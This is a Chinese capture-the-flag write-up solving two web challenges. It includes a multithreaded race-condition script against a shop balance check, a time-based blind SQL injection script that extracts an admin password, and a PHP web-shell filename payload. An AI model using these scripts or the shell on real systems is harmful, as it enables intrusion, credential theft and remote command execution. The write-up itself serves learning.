极光实验室 第一次考核wp
第一道题:
上来就让我买flag,用御剑扫目录,发现了这道题有源码index.php.bak!直接下载。
<meta charset='UTF-8'> <title>极光实验室flag售卖中心</title> <link rel="stylesheet" href="./css/bootstrap.css"> <link rel="stylesheet" href="./css/bootstrap.min.css"> <link rel="stylesheet" href="./css/index.css"> <body> <div class='starter_form1'> <h1>极光实验室flag售卖中心</h1> <?php ini_set('display_errors', 0); error_reporting(E_ALL ^ E_DEPRECATED); $db = new mysqli("127.0.0.1","root","****", shop); $sql = "SELECT rest FROM account"; $rest = intval($db->query($sql)->fetch_assoc()['rest']); $sql = "SELECT own FROM account"; $own = intval($db->query($sql)->fetch_assoc()['own']); echo " <div class=\"starter_form\" style=\"align-content: center\"> <form action='' method='post'> <h3>您当前的余额:{$rest}元</h1> <div style=\"margin: 50px\"> </div> 支付<input type='text' name='money'>元购买flag<br> </br> <div class='form-group'> <button class=\"btn btn-primary btn-block\" type=\"submit\" name='submit'>购买</button> </div> <div style=\"margin: 100px\"> </div> 已支付{$own}元,可是flag最低要21元... </br> <form action='' method='post'> <button class=\"btn btn-primary btn-block\" type=\"submit\" name='restart' value='1'>重置</button> </div> </form> </div> </div> "; if ($_POST['money']){ $money = intval($_POST['money']); if($money<0) { echo "<script>alert('我们极光虽然有钱...但兄弟姐妹你这样我们会破产的...')</script>"; exit(); } if($money <= $rest) { $sql = "UPDATE account SET rest=rest-".$money; $db->query($sql); $sql = "UPDATE account SET own=own+".$money; $db->query($sql); echo "<script>alert('支付成功');window.location.href=this.location.href</script>"; } else { echo "<script>alert('支付失败,可能是因为您的余额不足。')</script>"; } $sql="select own from account"; $banner = intval($db->query($sql)->fetch_assoc()['own']); if($own>=21) { echo "等等..竟然!无中生友,你怕不是黑黑黑...\nACTF{************}"; } } else if ($_POST['restart']==1){ $sql = "UPDATE account SET rest=20"; $db->query($sql); $sql = "UPDATE account SET own=0"; $db->query($sql); } ?> </body> </html>
源码审计,本来以为这是一道sql注入题,但是因为intval()并不想is_number()一样存在sql注入的漏洞,只能含泪放弃。
重新审计源码发现,它并没有考虑到多个人同时操作的情况,于是就有了竞争的想法!
所谓竞争上传就是指 在服务器刚刚做出 $money <= $rest 的判断并且没有执行$sql = "UPDATE account SET rest=rest-".$money;操作时,再次判断$money <= $rest。
使得出现漏洞。
那么我们就需要写一个多线程的脚本。不断地访问。这里直接嫖了大佬的脚本
import requests import threading import queue url = "http://47.112.16.34:22255/index.php" threads = 25 q = queue.Queue() for i in range(50): q.put(i) def post(): while not q.empty(): q.get() r = requests.post(url, data={'money': 1}) print(r.text) if __name__ == '__main__': for i in range(threads): t = threading.Thread(target=post) t.start() for i in range(threads): t.join()
成功拿到flag!
(话说这个flag也太长了吧)
下一道题:
第二道题因为拖得时间有点长导致刚写出脚本,题目就关闭了,现在在大佬的帮助下终于拿到了flag(话说拿到flag不能交真的很烦啊!!!!)
第二道题首先考我们robots协议。
然后扫到了image.php?然后才知道有image.php.bak。。(璞佬nb!)
然后看到源码!
<?php include "config.php"; $id=isset($_GET["id"])?$_GET["id"]:"1"; $path=isset($_GET["path"])?$_GET["path"]:""; $id=addslashes($id); $path=addslashes($path); $id=str_replace(array("\\0","%00","\\'","'"),"",$id); $path=str_replace(array("\\0","%00","\\'","'"),"",$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'"); $row=mysqli_fetch_array($result,MYSQLI_ASSOC); ...
还是源码审计,直接过滤了单引号,真的狠好吧!那怎么办?想起了之前的用 / 过滤单引号但是这一次很明显没有那么简单,因为有 addslashes()函数(具体作用不载详述)
突发奇想输入 \0 (看到了\\0)会发生什么,然后居然过滤的只剩下一个 \ 符号,原来如此,wakada!
那就可以构造payload了,直接放脚本。(注意因为单引号被过滤了,那么要用16进制编码来代替需要引号的地方!)
# insert into member(`username`,pw,sex,phonenum,email,address) values('wangwu',md5('a'),'a','aa','a','a') import requests import time url = "http://47.106.94.13:40005/image.php?" #params = "id=\\0&path= or if((ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))={}),sleep(5),1)--+" params = "id=\\0&path= or if((ascii(mid((select password from users where username=0x61646d696e),{},1))={}),sleep(5),1)--+" string = "1234567890abcdefghijklmnopqrstuvwxyz -ABCDEFGHIJKLMNOPQRSTUVWXYZ:_@,\{\}." while True: get = "" for i in range(1,100): for j in string: parm = params.format(str(i),str(ord(j))) url2 = url + parm try: response = requests.get(url2,timeout=3) except: get+=j print(get) time.sleep(1) break #print(url2)
中间有点没写上,不过没关系,大概就是这个payload,跑出结果
用 admin 和 password 作为账号和密码登录。
文件上传?经过cyt大佬的wp才知道,这一题居然是把文件名当做漏洞。。。哭了!
构造payload = <?= system($_GET[1551]);?>
然后,找啊找啊找啊找(话说藏得真深)找到了